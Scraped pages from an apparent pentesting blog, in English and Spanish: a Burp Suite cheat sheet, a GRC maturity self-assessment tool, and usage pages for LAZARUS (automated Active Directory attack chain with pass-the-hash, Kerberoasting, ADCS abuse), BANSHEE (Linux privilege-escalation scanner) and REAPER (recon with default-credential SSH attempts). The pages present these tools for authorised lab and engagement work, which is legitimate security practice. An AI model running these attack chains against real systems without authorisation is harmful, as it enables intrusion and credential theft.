It's used to intercept HTTP/HTTPS requests, manipulate parameters, explore APIs, find vulnerabilities (XSS, SQLi, RCE, LFI...), automate scans, and run repeated attacks with Intruder/Repeater/Turbo Intruder.
| **Install** | burpsuite (bundled in Kali) · Pro via the official .jar |
| ----------------- | ------------------------------------------------------- |
| **Browser proxy** | 127.0.0.1:8080 |

## Getting started
- Open Burp Suite
- Go to **Proxy → Intercept**
- Set the browser's proxy to `127.0.0.1:8080`
- Burp will start intercepting traffic
## 1\. Proxy (Intercept)
Intercepts HTTP/HTTPS requests and lets you modify parameters on the fly: toggle intercept, view headers, change cookies, change form values.
```text
Proxy → Intercept → Intercept is on
```
## 2\. Repeater — manual attacks
Lets you resend a request many times while tweaking parameters. Typical use: testing XSS, testing SQL injection, manual fuzzing, modifying tokens and cookies.
```text
Right-click → Send to Repeater
```
## 3\. Intruder — brute force / fuzzing
Automation for login brute-forcing, directory discovery, parameter fuzzing, and wordlist-based attacks (SecLists).
```text
Right-click → Send to Intruder
Intruder → Payloads → Add → /usr/share/wordlists/seclists
```
## 4-7\. Scanner, Decoder, Comparer, Logger
| Module | Function |
| ------------------ | ------------------------------------------------------------------------------------------------- |
| Scanner (Pro only) | Automated scanning for SQLi, XSS, path traversal, CSRF, LFI/RFI, open redirects, insecure cookies |
| Decoder | Encodes/decodes Base64, URL encode, Hex, HTML entity |
| Comparer | Compares two responses: valid vs invalid, vulnerable vs non-vulnerable |
| Logger | Full log of every request Burp has seen |
## Quick commands and actions
| Action | How |
| --------------------------- | ---------------------------------------------- |
| Intercept traffic | Proxy → Intercept is on |
| Send to Repeater | Right click → Send to Repeater |
| Send to Intruder | Right click → Send to Intruder |
| View parameters/history | Proxy → HTTP history |
| Load a wordlist in Intruder | Payloads → Add → /usr/share/wordlists/seclists |
## Useful shortcuts
| Shortcut | Action |
| ---------------- | -------------------- |
| Ctrl + I | Send to Intruder |
| Ctrl + R | Send to Repeater |
| Ctrl + Shift + P | Open the Proxy panel |
| Ctrl + Shift + R | Open Repeater |
| Ctrl + Shift + I | Open Intruder |
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> Burp Suite es la herramienta **más importante para pentesting web**. Permite interceptar, modificar y analizar el tráfico entre el navegador y el servidor. En pentesting web es el estándar de la industria.
Se usa para interceptar peticiones HTTP/HTTPS, manipular parámetros, explorar APIs, encontrar vulnerabilidades (XSS, SQLi, RCE, LFI...), automatizar escaneos, y lanzar ataques repetitivos con Intruder/Repeater/Turbo Intruder.
| **Instalación** | burpsuite (viene en Kali) · Pro con el .jar oficial |
| ----------------------- | --------------------------------------------------- |
| **Proxy del navegador** | 127.0.0.1:8080 |

## Primeros pasos
- Abre Burp Suite
- Ve a **Proxy → Intercept**
- Configura el proxy del navegador en `127.0.0.1:8080`
- Burp empezará a interceptar tráfico
## 1\. Proxy (Intercept)
Intercepta las peticiones HTTP/HTTPS y permite modificar parámetros al vuelo: encender/apagar intercept, ver cabeceras, cambiar cookies, cambiar valores de formularios.
```text
Proxy → Intercept → Intercept is on
```
## 2\. Repeater — ataques manuales
Permite reenviar una petición muchas veces modificando parámetros. Uso típico: probar XSS, probar SQL injection, fuzzing manual, modificar tokens y cookies.
```text
Right-click → Send to Repeater
```
## 3\. Intruder — fuerza bruta / fuzzing
Automatización de fuerza bruta de logins, descubrimiento de directorios, fuzzer de parámetros, y ataques con wordlists (SecLists).
```text
Right-click → Send to Intruder
Intruder → Payloads → Add → /usr/share/wordlists/seclists
```
## 4-7\. Scanner, Decoder, Comparer, Logger
| Módulo | Función |
| ------------------ | ------------------------------------------------------------------------------------------------- |
| Scanner (solo Pro) | Escaneo automático de SQLi, XSS, path traversal, CSRF, LFI/RFI, open redirects, cookies inseguras |
| Decoder | Codifica/decodifica Base64, URL encode, Hex, HTML entity |
| Comparer | Compara dos respuestas: válida vs inválida, vulnerable vs no vulnerable |
| Logger | Registro completo de todo el tráfico visto por Burp |
## Comandos y acciones rápidas
| Acción | Cómo |
| --------------------------- | ---------------------------------------------- |
| Interceptar tráfico | Proxy → Intercept is on |
| Enviar a Repeater | Right click → Send to Repeater |
| Enviar a Intruder | Right click → Send to Intruder |
| Ver parámetros/historial | Proxy → HTTP history |
| Cargar wordlist en Intruder | Payloads → Add → /usr/share/wordlists/seclists |
## Atajos útiles
| Atajo | Acción |
| ---------------- | -------------------- |
| Ctrl + I | Enviar a Intruder |
| Ctrl + R | Enviar a Repeater |
| Ctrl + Shift + P | Abrir panel de Proxy |
| Ctrl + Shift + R | Abrir Repeater |
| Ctrl + Shift + I | Abrir Intruder |
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### SENTINEL-GRC
URL: https://thehacksparrow.com/sentinel-grc/
Last updated: 2026-09-23T10:26:36.000Z
> **What it is** — SENTINEL-GRC is a command-line tool for assessing **GRC control maturity** against the most relevant ISO standards in cybersecurity, AI governance, and business continuity. Unlike a static spreadsheet, it guides the assessment control by control in an interactive mode, calculates domain and overall scores, identifies and prioritises GAPs, generates a full Markdown report, and persists state as JSON — so you can version the maturity evolution with Git and resume interrupted assessments.
| **Type** | CLI · Python 3.10+ |
| ----------- | ------------------------------------------------------------------------------------------------------- |
| **License** | MIT |
| **Author** | ISO/IEC 27001:2022 Lead Auditor & Lead Implementer · ISO/IEC 42001:2023 Lead Auditor |
| **Repo** | [github.com/DonTrebor1/sentinel-grc](https://github.com/DonTrebor1/sentinel-grc?ref=thehacksparrow.com) |
## Supported standards
| Standard | Description | Controls |
| ------------------ | --------------------------------------------- | ------------------------------------ |
| ISO/IEC 27001:2022 | Information Security Management System (ISMS) | 93 controls (Clauses 4-10 + Annex A) |
| ISO/IEC 42001:2023 | AI Management System (AIMS) | 27 controls + Annex A |
| ISO 22301:2019 | Business Continuity Management System (BCMS) | 26 controls |
## Maturity scale
| Level | Name | Description |
| ----- | --------- | --------------------------------------------------- |
| 0 | Undefined | No process, control, or documentation exists |
| 1 | Initial | Something exists but informally or undocumented |
| 2 | Partial | Documented but incomplete or inconsistently applied |
| 3 | Defined | Fully documented, implemented, and operational |
| 4 | Optimised | Measured, reviewed, and continuously improved |
## How to use it
Full interactive assessment (ISO 27001, 42001, or 22301):
```bash
python3 sentinel_grc.py --standard 27001 --org "Company name" --assessor "Your name"
python3 sentinel_grc.py --standard 42001 --org "Company name"
python3 sentinel_grc.py --standard 22301 --org "Company name"
```
Resume an interrupted assessment:
```bash
python3 sentinel_grc.py --resume sentinel_27001_2026-07-05.json
```
Generate the Markdown report from an existing assessment:
```bash
python3 sentinel_grc.py --report sentinel_27001_2026-07-05.json -o maturity_report.md
```
View the terminal summary without regenerating the report:
```bash
python3 sentinel_grc.py --summary sentinel_27001_2026-07-05.json
```
Convert the report to PDF (requires pandoc):
```bash
pandoc maturity_report.md -o maturity_report.pdf
```
## Recommended workflow
```text
1. Interactive assessment
python3 sentinel_grc.py --standard 27001 --org "Company" --assessor "Your name"
|
2. Review the terminal summary (automatic at the end)
|
3. Generate the Markdown report (asked at the end)
|
4. Share the report with management / the client
|
5. Version the JSON in Git to track evolution
git add sentinel_27001_*.json && git commit -m "Q3 2026 assessment"
|
6. Next period, resume with --resume to see the evolution
```
## Output
```text
sentinel_27001_YYYY-MM-DD.json # Full state (Git-versionable)
sentinel_report_27001_YYYY-MM-DD.md # Markdown report with:
# - Executive summary
# - Score per domain
# - Prioritised GAPs
# - Recommended action plan
# - Detail of every control
```
> ⚠️ This tool is a **self-assessment** aid for GRC maturity. It doesn't replace a formal certification audit performed by an accredited body — results are indicative and depend on the assessor's knowledge.
## Repository
[github.com/DonTrebor1/sentinel-grc →](https://github.com/DonTrebor1/sentinel-grc?ref=thehacksparrow.com)
> **Qué es** — SENTINEL-GRC es una herramienta de línea de comandos para evaluar el nivel de **madurez de controles GRC** según las normas ISO más relevantes en ciberseguridad, gobernanza de IA y continuidad de negocio. A diferencia de una hoja de cálculo estática, guía la evaluación control por control en modo interactivo, calcula el score por dominio y global, identifica y prioriza los GAPs, genera un informe completo en Markdown, y persiste el estado en JSON — puedes versionar la evolución de madurez con Git y reanudar evaluaciones interrumpidas.
| **Tipo** | CLI · Python 3.10+ |
| ------------ | ------------------------------------------------------------------------------------------------------- |
| **Licencia** | MIT |
| **Autor** | ISO/IEC 27001:2022 Lead Auditor & Lead Implementer · ISO/IEC 42001:2023 Lead Auditor |
| **Repo** | [github.com/DonTrebor1/sentinel-grc](https://github.com/DonTrebor1/sentinel-grc?ref=thehacksparrow.com) |
## Normas soportadas
| Norma | Descripción | Controles |
| ------------------ | -------------------------------------------------------- | --------------------------------------- |
| ISO/IEC 27001:2022 | Sistema de Gestión de Seguridad de la Información (SGSI) | 93 controles (Cláusulas 4-10 + Anexo A) |
| ISO/IEC 42001:2023 | Sistema de Gestión de IA (SGAI) | 27 controles + Anexo A |
| ISO 22301:2019 | Sistema de Gestión de Continuidad de Negocio (SGCN) | 26 controles |
## Escala de madurez
| Nivel | Nombre | Descripción |
| ----- | ----------- | --------------------------------------------------------- |
| 0 | No definido | No existe ningún proceso, control o documentación |
| 1 | Inicial | Existe algo pero de forma informal o sin documentar |
| 2 | Parcial | Documentado pero incompleto o aplicado inconsistentemente |
| 3 | Definido | Completamente documentado, implementado y operativo |
| 4 | Optimizado | Medido, revisado y mejorado de forma continua |
## Uso
Evaluación interactiva completa (ISO 27001, 42001 o 22301):
```bash
python3 sentinel_grc.py --standard 27001 --org "Nombre de la empresa" --assessor "Tu nombre"
python3 sentinel_grc.py --standard 42001 --org "Nombre de la empresa"
python3 sentinel_grc.py --standard 22301 --org "Nombre de la empresa"
```
Reanudar una evaluación interrumpida:
```bash
python3 sentinel_grc.py --resume sentinel_27001_2026-07-05.json
```
Generar el informe Markdown desde una evaluación ya existente:
```bash
python3 sentinel_grc.py --report sentinel_27001_2026-07-05.json -o informe_madurez.md
```
Ver el resumen en terminal sin regenerar el informe:
```bash
python3 sentinel_grc.py --summary sentinel_27001_2026-07-05.json
```
Convertir el informe a PDF (requiere pandoc):
```bash
pandoc informe_madurez.md -o informe_madurez.pdf
```
## Flujo de trabajo recomendado
```text
1. Evaluación interactiva
python3 sentinel_grc.py --standard 27001 --org "Empresa" --assessor "Tu nombre"
|
2. Revisar resumen en terminal (automático al terminar)
|
3. Generar informe Markdown (se pregunta al terminar)
|
4. Compartir informe con la dirección / cliente
|
5. Versionar el JSON en Git para tracking de evolución
git add sentinel_27001_*.json && git commit -m "Evaluación Q3 2026"
|
6. En el siguiente periodo, reanudar con --resume para ver la evolución
```
## Output
```text
sentinel_27001_YYYY-MM-DD.json # Estado completo (versionable con Git)
sentinel_report_27001_YYYY-MM-DD.md # Informe Markdown con:
# - Resumen ejecutivo
# - Puntuación por dominio
# - GAPs priorizados
# - Plan de acción recomendado
# - Detalle de todos los controles
```
> ⚠️ Esta herramienta es una ayuda para la **autoevaluación** de madurez GRC. No sustituye a una auditoría formal de certificación realizada por un organismo acreditado — los resultados son orientativos y dependen del conocimiento del evaluador.
## Repositorio
[github.com/DonTrebor1/sentinel-grc →](https://github.com/DonTrebor1/sentinel-grc?ref=thehacksparrow.com)
### LAZARUS
URL: https://thehacksparrow.com/lazarus/
Last updated: 2026-09-23T10:26:37.000Z
> **What it is** — LAZARUS automates the **full Active Directory attack chain** in practice environments. Its output is designed so you know exactly what's happening at a glance: commands appear in distinct boxes, important findings are highlighted in green, and privilege escalation vectors in red. The third piece of my toolkit — it kicks in when **REAPER** detects AD (ports 445+88+389).
| **Type** | CLI · Python 3.10+ |
| ------------ | --------------------------------------------------------------------------------------------- |
| **License** | MIT |
| **Platform** | Kali / Parrot |
| **Use** | Authorised environments only (HTB, THM, VulnHub, your own labs) |
| **Repo** | [github.com/DonTrebor1/LAZARUS](https://github.com/DonTrebor1/LAZARUS?ref=thehacksparrow.com) |
## What sets it apart
- Clear visual output (boxes, colours, separators)
- Findings highlighted against raw command output
- Privilege escalation vectors visually flagged
- BadSuccessor / dMSA (CVE-2025-26647)
- ADCS ESC1-8 with certipy
- ACL analysis (WriteDacl, GenericAll, GenericWrite)
- Native Pass-the-Hash
- Persistent state across sessions
- Per-phase OPSEC labels
## Requirements
```bash
sudo apt install nmap netexec impacket-scripts evil-winrm hashcat bloodhound-python certipy-ad
```
## How to use it
Full automatic chain:
```bash
python3 lazarus.py -t 10.10.11.x -d corp.local --auto
```
With credentials already known:
```bash
python3 lazarus.py -t 10.10.11.x -d corp.local --creds 'jsmith:Password123' --auto
```
Pass-the-Hash:
```bash
python3 lazarus.py -t 10.10.11.x -d corp.local --hash 'administrator:8846f7eaee8fb117ad06bdd830b7586c' --auto
```
With an already-enumerated user list:
```bash
python3 lazarus.py -t 10.10.11.x -d corp.local --users users.txt --auto
```
Preview the attack plan without running anything / resume a session / re-analyse vectors:
```bash
python3 lazarus.py -t 10.10.11.x -d corp.local --plan
python3 lazarus.py --resume lazarus_output/lazarus_state.json
python3 lazarus.py --resume lazarus_output/lazarus_state.json --reanalyze
```
## Attack phases
| # | Phase | Tools | OPSEC |
| - | ----------------------- | -------------------------------------------- | -------- |
| 1 | Reconnaissance | nmap | MEDIUM |
| 2 | User enumeration | netexec RID brute, anonymous LDAP | MEDIUM |
| 3 | AS-REP Roasting | impacket-GetNPUsers | MEDIUM |
| 4 | Kerberoasting | impacket-GetUserSPNs | MEDIUM |
| 5 | Cracking | hashcat (18200/13100) | LOW |
| 6 | Credential validation | netexec smb/winrm | MEDIUM |
| 7 | Post-enum | netexec, BloodHound, certipy, dacledit, dMSA | LOW-HIGH |
| 8 | Analysis and escalation | Privilege/group/ADCS/ACL map | — |
## Output
```text
lazarus_output/
├── lazarus_state.json # Full state (resume with --resume)
├── nmap.txt
├── enum_users.txt / users.txt
├── asrep.txt / asrep_hashes.txt / asrep.pot
├── kerberoast.txt / kerb_hashes.txt / kerb.pot
├── validate.txt / post_enum.txt / smb_shares.txt
├── bloodhound/ # BloodHound data
├── adcs.txt # ADCS ESC1-8
├── dmsa.txt # BadSuccessor/dMSA
└── acl.txt # Dangerous ACLs
```
> ⚠️ **Legal notice:** exclusively for controlled, authorised practice environments (HackTheBox, TryHackMe, VulnHub, your own labs). Using it against systems without explicit authorisation is illegal.
## Repository
[github.com/DonTrebor1/LAZARUS →](https://github.com/DonTrebor1/LAZARUS?ref=thehacksparrow.com)
> **Qué es** — LAZARUS automatiza la **cadena completa de ataque sobre Active Directory** en entornos de práctica. Su output está diseñado para que de un vistazo sepas exactamente qué está pasando: los comandos aparecen en cajas diferenciadas, los hallazgos importantes se resaltan en verde, y los vectores de escalada de privilegios en rojo. Tercera pieza de mi toolkit — se activa cuando **REAPER** detecta AD (puertos 445+88+389).
| **Tipo** | CLI · Python 3.10+ |
| -------------- | --------------------------------------------------------------------------------------------- |
| **Licencia** | MIT |
| **Plataforma** | Kali / Parrot |
| **Uso** | Solo entornos autorizados (HTB, THM, VulnHub, labs propios) |
| **Repo** | [github.com/DonTrebor1/LAZARUS](https://github.com/DonTrebor1/LAZARUS?ref=thehacksparrow.com) |
## Qué lo diferencia
- Output visual claro (cajas, colores, separadores)
- Findings resaltados frente al output crudo de los comandos
- Vectores de escalada destacados visualmente
- BadSuccessor / dMSA (CVE-2025-26647)
- ADCS ESC1-8 con certipy
- Análisis de ACLs (WriteDacl, GenericAll, GenericWrite)
- Pass-the-Hash nativo
- Estado persistente entre sesiones
- Etiquetas OPSEC por fase
## Requisitos
```bash
sudo apt install nmap netexec impacket-scripts evil-winrm hashcat bloodhound-python certipy-ad
```
## Uso
Cadena completa automática:
```bash
python3 lazarus.py -t 10.10.11.x -d corp.local --auto
```
Con credenciales ya conocidas:
```bash
python3 lazarus.py -t 10.10.11.x -d corp.local --creds 'jsmith:Password123' --auto
```
Pass-the-Hash:
```bash
python3 lazarus.py -t 10.10.11.x -d corp.local --hash 'administrator:8846f7eaee8fb117ad06bdd830b7586c' --auto
```
Con lista de usuarios ya enumerados:
```bash
python3 lazarus.py -t 10.10.11.x -d corp.local --users users.txt --auto
```
Ver el plan de ataque sin ejecutar nada / reanudar sesión / re-analizar vectores:
```bash
python3 lazarus.py -t 10.10.11.x -d corp.local --plan
python3 lazarus.py --resume lazarus_output/lazarus_state.json
python3 lazarus.py --resume lazarus_output/lazarus_state.json --reanalyze
```
## Fases de ataque
| # | Fase | Herramientas | OPSEC |
| - | -------------------------- | -------------------------------------------- | -------- |
| 1 | Reconocimiento | nmap | MEDIUM |
| 2 | Enumeración de usuarios | netexec RID brute, LDAP anónimo | MEDIUM |
| 3 | AS-REP Roasting | impacket-GetNPUsers | MEDIUM |
| 4 | Kerberoasting | impacket-GetUserSPNs | MEDIUM |
| 5 | Cracking | hashcat (18200/13100) | LOW |
| 6 | Validación de credenciales | netexec smb/winrm | MEDIUM |
| 7 | Post-enum | netexec, BloodHound, certipy, dacledit, dMSA | LOW-HIGH |
| 8 | Análisis y escalada | Mapa de privilegios/grupos/ADCS/ACL | — |
## Output
```text
lazarus_output/
├── lazarus_state.json # Estado completo (resume con --resume)
├── nmap.txt
├── enum_users.txt / users.txt
├── asrep.txt / asrep_hashes.txt / asrep.pot
├── kerberoast.txt / kerb_hashes.txt / kerb.pot
├── validate.txt / post_enum.txt / smb_shares.txt
├── bloodhound/ # Datos BloodHound
├── adcs.txt # ADCS ESC1-8
├── dmsa.txt # BadSuccessor/dMSA
└── acl.txt # ACLs peligrosas
```
> ⚠️ **Aviso legal:** exclusivamente para entornos de práctica controlados y autorizados (HackTheBox, TryHackMe, VulnHub, laboratorios propios). Usarlo contra sistemas sin autorización explícita es ilegal.
## Repositorio
[github.com/DonTrebor1/LAZARUS →](https://github.com/DonTrebor1/LAZARUS?ref=thehacksparrow.com)
### BANSHEE
URL: https://thehacksparrow.com/banshee/
Last updated: 2026-09-23T10:26:37.000Z
> **What it is** — BANSHEE automates the search for **Linux privilege escalation** vectors. It runs directly on the target machine once initial access is gained: it walks through the most common vectors (sudo, SUID, capabilities, cron, kernel, containers...) and finishes with a severity-ranked summary showing the exact exploit for each finding. The second piece of my toolkit, meant to run right after **REAPER**.
| **Type** | CLI · Python 3.10+ |
| ------------ | --------------------------------------------------------------------------------------------- |
| **License** | MIT |
| **Platform** | Linux (runs on the target) |
| **Use** | Authorised environments only (HTB, THM, VulnHub, your own labs) |
| **Repo** | [github.com/DonTrebor1/BANSHEE](https://github.com/DonTrebor1/BANSHEE?ref=thehacksparrow.com) |
## How to use it
Upload the script to the target machine and run every phase automatically:
```bash
python3 banshee.py --auto
```
Preview the phase plan without running anything:
```bash
python3 banshee.py --plan
```
Resume a previous session:
```bash
python3 banshee.py --resume banshee_output/banshee_state.json
```
## Phases
| # | Phase | What it detects |
| -- | ------------ | ------------------------------------------------------------------ |
| 1 | System | User, kernel, OS, env vars with credentials, users with a shell |
| 2 | sudo | NOPASSWD + 30+ GTFOBins binaries + LD\_PRELOAD |
| 3 | SUID/SGID | 25+ known dangerous SUID binaries |
| 4 | Capabilities | cap\_setuid, cap\_sys\_admin, cap\_dac\_read\_search, etc. |
| 5 | Cron | Writable cron scripts + pspy-style detection |
| 6 | Files | /etc/passwd+shadow, SSH keys, configs with passwords, backups |
| 7 | Kernel | Dirty Pipe, Dirty COW, PwnKit, overlayfs + linux-exploit-suggester |
| 8 | Services | Local ports (MySQL, Redis, MongoDB, Elasticsearch...) |
| 9 | Containers | docker/lxd/disk groups + container environment detection |
| 10 | Summary | Every vector ranked by severity \[CRITICAL → LOW\] |
> The design goal is simple: instead of running 5 different scripts (linpeas, linenum, a manual GTFOBins check...) and cross-referencing the output by hand, BANSHEE does that cross-referencing automatically and prioritises by severity, not by execution order.
## Output
```text
banshee_output/
├── banshee_state.json # Full state
├── sysinfo.txt # System information
├── sudo.txt # sudo permissions
├── suid.txt # SUID/SGID binaries
├── capabilities.txt # Linux capabilities
├── cron.txt # Cron jobs
├── files.txt # Sensitive files
├── kernel.txt # Kernel analysis
├── services.txt # Services and processes
└── containers.txt # Docker/LXD/groups
```
## Flow with the rest of the toolkit
```text
REAPER -> external recon (ports, subdomains, technologies)
|
Initial access gained
|
BANSHEE -> Linux privesc (sudo, SUID, cron, kernel, containers...)
|
If the system is Windows AD:
|
LAZARUS -> full AD attack chain
```
> ⚠️ **Legal notice:** exclusively for controlled, authorised practice environments. Using it against systems without explicit authorisation is illegal.
## Repository
[github.com/DonTrebor1/BANSHEE →](https://github.com/DonTrebor1/BANSHEE?ref=thehacksparrow.com)
> **Qué es** — BANSHEE automatiza la búsqueda de vectores de **escalada de privilegios en sistemas Linux**. Se ejecuta directamente en la máquina objetivo una vez obtenido el acceso inicial: recorre los vectores más comunes (sudo, SUID, capabilities, cron, kernel, contenedores...) y al final muestra un resumen ordenado por severidad con el exploit exacto para cada hallazgo. Segunda pieza de mi toolkit, pensada para usarse justo después de **REAPER**.
| **Tipo** | CLI · Python 3.10+ |
| -------------- | --------------------------------------------------------------------------------------------- |
| **Licencia** | MIT |
| **Plataforma** | Linux (se ejecuta en el objetivo) |
| **Uso** | Solo entornos autorizados (HTB, THM, VulnHub, labs propios) |
| **Repo** | [github.com/DonTrebor1/BANSHEE](https://github.com/DonTrebor1/BANSHEE?ref=thehacksparrow.com) |
## Uso
Subir el script a la máquina objetivo y ejecutar todas las fases automáticamente:
```bash
python3 banshee.py --auto
```
Ver el plan de fases sin ejecutar nada:
```bash
python3 banshee.py --plan
```
Reanudar una sesión anterior:
```bash
python3 banshee.py --resume banshee_output/banshee_state.json
```
## Fases
| # | Fase | Qué detecta |
| -- | ------------ | ------------------------------------------------------------------------------ |
| 1 | Sistema | Usuario, kernel, OS, variables de entorno con credenciales, usuarios con shell |
| 2 | sudo | NOPASSWD + 30+ binarios GTFOBins + LD\_PRELOAD |
| 3 | SUID/SGID | 25+ binarios SUID peligrosos conocidos |
| 4 | Capabilities | cap\_setuid, cap\_sys\_admin, cap\_dac\_read\_search, etc. |
| 5 | Cron | Scripts de cron escribibles + detección con pspy |
| 6 | Archivos | /etc/passwd+shadow, claves SSH, configs con contraseñas, backups |
| 7 | Kernel | Dirty Pipe, Dirty COW, PwnKit, overlayfs + linux-exploit-suggester |
| 8 | Servicios | Puertos locales (MySQL, Redis, MongoDB, Elasticsearch...) |
| 9 | Contenedores | Grupos docker/lxd/disk + detección de entorno contenedor |
| 10 | Resumen | Todos los vectores ordenados por severidad \[CRÍTICO → BAJO\] |
> El objetivo del diseño es simple: en vez de lanzar 5 scripts distintos (linpeas, linenum, un chequeo de GTFOBins manual...) y cruzar la información a mano, BANSHEE hace ese cruce automáticamente y prioriza por severidad, no por orden de ejecución.
## Output
```text
banshee_output/
├── banshee_state.json # Estado completo
├── sysinfo.txt # Información del sistema
├── sudo.txt # Permisos sudo
├── suid.txt # Binarios SUID/SGID
├── capabilities.txt # Linux capabilities
├── cron.txt # Cron jobs
├── files.txt # Archivos sensibles
├── kernel.txt # Análisis de kernel
├── services.txt # Servicios y procesos
└── containers.txt # Docker/LXD/grupos
```
## Flujo con el resto del toolkit
```text
REAPER -> reconocimiento externo (puertos, subdominios, tecnologías)
|
Acceso inicial obtenido
|
BANSHEE -> privesc Linux (sudo, SUID, cron, kernel, contenedores...)
|
Si el sistema es Windows AD:
|
LAZARUS -> cadena completa de ataque AD
```
> ⚠️ **Aviso legal:** exclusivamente para entornos de práctica controlados y autorizados. Usarlo contra sistemas sin autorización explícita es ilegal.
## Repositorio
[github.com/DonTrebor1/BANSHEE →](https://github.com/DonTrebor1/BANSHEE?ref=thehacksparrow.com)
### REAPER
URL: https://thehacksparrow.com/reaper/
Last updated: 2026-09-23T10:26:38.000Z
> **What it is** — REAPER automates the **initial reconnaissance and enumeration** phase — everything you do *before* gaining access to a system. With a single command it maps ports, fingerprints web technologies, enumerates directories, hunts subdomains (active and passive), analyses SSL certificates via crt.sh, and finishes with a clear visual summary and recommended next steps. It's the first piece of my own toolkit — built to chain into **LAZARUS** as soon as it detects Active Directory.
| **Type** | CLI · Python 3.10+ |
| ------------ | ------------------------------------------------------------------------------------------- |
| **License** | MIT |
| **Platform** | Kali / Parrot |
| **Use** | Authorised environments only (HTB, THM, VulnHub, bug bounty in-scope) |
| **Repo** | [github.com/DonTrebor1/REAPER](https://github.com/DonTrebor1/REAPER?ref=thehacksparrow.com) |
## Requirements
```bash
python3 --version # 3.10+, no external Python dependencies
# External tools (Kali/Parrot)
sudo apt install nmap netexec whatweb gobuster ffuf sshpass amass
# Subfinder (optional but recommended)
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
sudo apt install seclists dirb
```
## How to use it
Full recon, with a known domain:
```bash
python3 reaper.py -t 10.10.11.x -d target.htb --auto
```
IP only, no domain:
```bash
python3 reaper.py -t 10.10.11.x --auto
```
Preview the attack plan without running anything:
```bash
python3 reaper.py -t 10.10.11.x -d target.htb --plan
```
Resume a previous session (handy if the connection drops mid-scan):
```bash
python3 reaper.py --resume reaper_output/reaper_state.json
```
## Phases
| # | Phase | What it does | OPSEC |
| - | ---------- | -------------------------------------------------------- | ------ |
| 1 | Nmap | Full port scan + service detection | MEDIUM |
| 2 | FTP | Tests anonymous access on port 21 | LOW |
| 3 | SSH | Tries 11 default credential combinations | MEDIUM |
| 4 | HTTP/HTTPS | whatweb (fingerprinting) + gobuster (directories) | MEDIUM |
| 5 | SMB | Unauthenticated shares + RID brute user enumeration | LOW |
| 6 | DNS | DNS records + AXFR + subfinder + amass + ffuf VHosts | LOW |
| 7 | crt.sh | Subdomains from public SSL certificates (no brute force) | LOW |
| 8 | Summary | Visual map of findings + recommended next steps | — |
> The **OPSEC** column indicates how much noise each phase generates against the target — useful for deciding which phases to skip in a real engagement where stealth matters, versus a CTF where it doesn't.
## Output
```text
reaper_output/
├── reaper_state.json # Full state (resume with --resume)
├── nmap_ports.txt # Quick scan of every port
├── nmap_detail.txt # Detailed service scan
├── ftp.txt / ssh.txt # FTP/SSH results
├── whatweb_.txt # Detected web technologies
├── gobuster_.txt # Directories found
├── smb_shares.txt / smb_users.txt
├── dns.txt / dns_axfr.txt
├── subdomains.txt / amass.txt / vhosts.txt
└── crtsh.txt # SSL certificate domains
```
## Flow with the rest of the toolkit
```text
REAPER -> full recon, target map
|
If AD is detected (port 445 + 88 + 389)
|
LAZARUS -> full AD attack chain
```
> ⚠️ **Legal notice:** exclusively for controlled, authorised practice environments (HackTheBox, TryHackMe, VulnHub, your own labs, bug bounty in scope). Using it against systems without explicit authorisation is illegal.
## Repository
[github.com/DonTrebor1/REAPER →](https://github.com/DonTrebor1/REAPER?ref=thehacksparrow.com)
> **Qué es** — REAPER automatiza la fase de **reconocimiento y enumeración inicial** — todo lo que se hace *antes* de tener acceso a un sistema. Con un solo comando mapea puertos, detecta tecnologías web, enumera directorios, busca subdominios (activo y pasivo), analiza certificados SSL vía crt.sh, y al final da un resumen visual claro con los próximos pasos recomendados. Es la primera pieza de mi propio toolkit — pensada para encadenarse con **LAZARUS** en cuanto detecta Active Directory.
| **Tipo** | CLI · Python 3.10+ |
| -------------- | ------------------------------------------------------------------------------------------- |
| **Licencia** | MIT |
| **Plataforma** | Kali / Parrot |
| **Uso** | Solo entornos autorizados (HTB, THM, VulnHub, bug bounty con scope autorizado) |
| **Repo** | [github.com/DonTrebor1/REAPER](https://github.com/DonTrebor1/REAPER?ref=thehacksparrow.com) |
## Requisitos
```bash
python3 --version # 3.10+, sin dependencias externas de Python
# Herramientas externas (Kali/Parrot)
sudo apt install nmap netexec whatweb gobuster ffuf sshpass amass
# Subfinder (opcional pero recomendado)
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
sudo apt install seclists dirb
```
## Uso
Reconocimiento completo, con dominio:
```bash
python3 reaper.py -t 10.10.11.x -d target.htb --auto
```
Solo con IP, sin dominio:
```bash
python3 reaper.py -t 10.10.11.x --auto
```
Ver el plan de ataque sin ejecutar nada:
```bash
python3 reaper.py -t 10.10.11.x -d target.htb --plan
```
Reanudar una sesión anterior (útil si se corta la conexión a mitad de escaneo):
```bash
python3 reaper.py --resume reaper_output/reaper_state.json
```
## Fases
| # | Fase | Qué hace | OPSEC |
| - | ---------- | ----------------------------------------------------------- | ------ |
| 1 | Nmap | Escaneo completo de puertos + detección de servicios | MEDIUM |
| 2 | FTP | Prueba acceso anónimo en puerto 21 | LOW |
| 3 | SSH | Prueba 11 combinaciones de credenciales por defecto | MEDIUM |
| 4 | HTTP/HTTPS | whatweb (tecnología) + gobuster (directorios) | MEDIUM |
| 5 | SMB | Shares sin credenciales + RID brute de usuarios | LOW |
| 6 | DNS | Registros DNS + AXFR + subfinder + amass + ffuf VHosts | LOW |
| 7 | crt.sh | Subdominios en certificados SSL públicos (sin fuerza bruta) | LOW |
| 8 | Resumen | Mapa visual de hallazgos + próximos pasos recomendados | — |
> La columna **OPSEC** indica cuánto ruido genera cada fase contra el objetivo — útil para decidir qué fases saltarte en un engagement real donde el sigilo importa, frente a un CTF donde da igual.
## Output
```text
reaper_output/
├── reaper_state.json # Estado completo (resume con --resume)
├── nmap_ports.txt # Escaneo rápido de todos los puertos
├── nmap_detail.txt # Escaneo detallado de servicios
├── ftp.txt / ssh.txt # Resultados FTP/SSH
├── whatweb_.txt # Tecnologías web detectadas
├── gobuster_.txt # Directorios encontrados
├── smb_shares.txt / smb_users.txt
├── dns.txt / dns_axfr.txt
├── subdomains.txt / amass.txt / vhosts.txt
└── crtsh.txt # Dominios en certificados SSL
```
## Flujo con el resto del toolkit
```text
REAPER -> reconocimiento completo, mapa del objetivo
|
Si detecta AD (puerto 445 + 88 + 389)
|
LAZARUS -> cadena completa de ataque AD
```
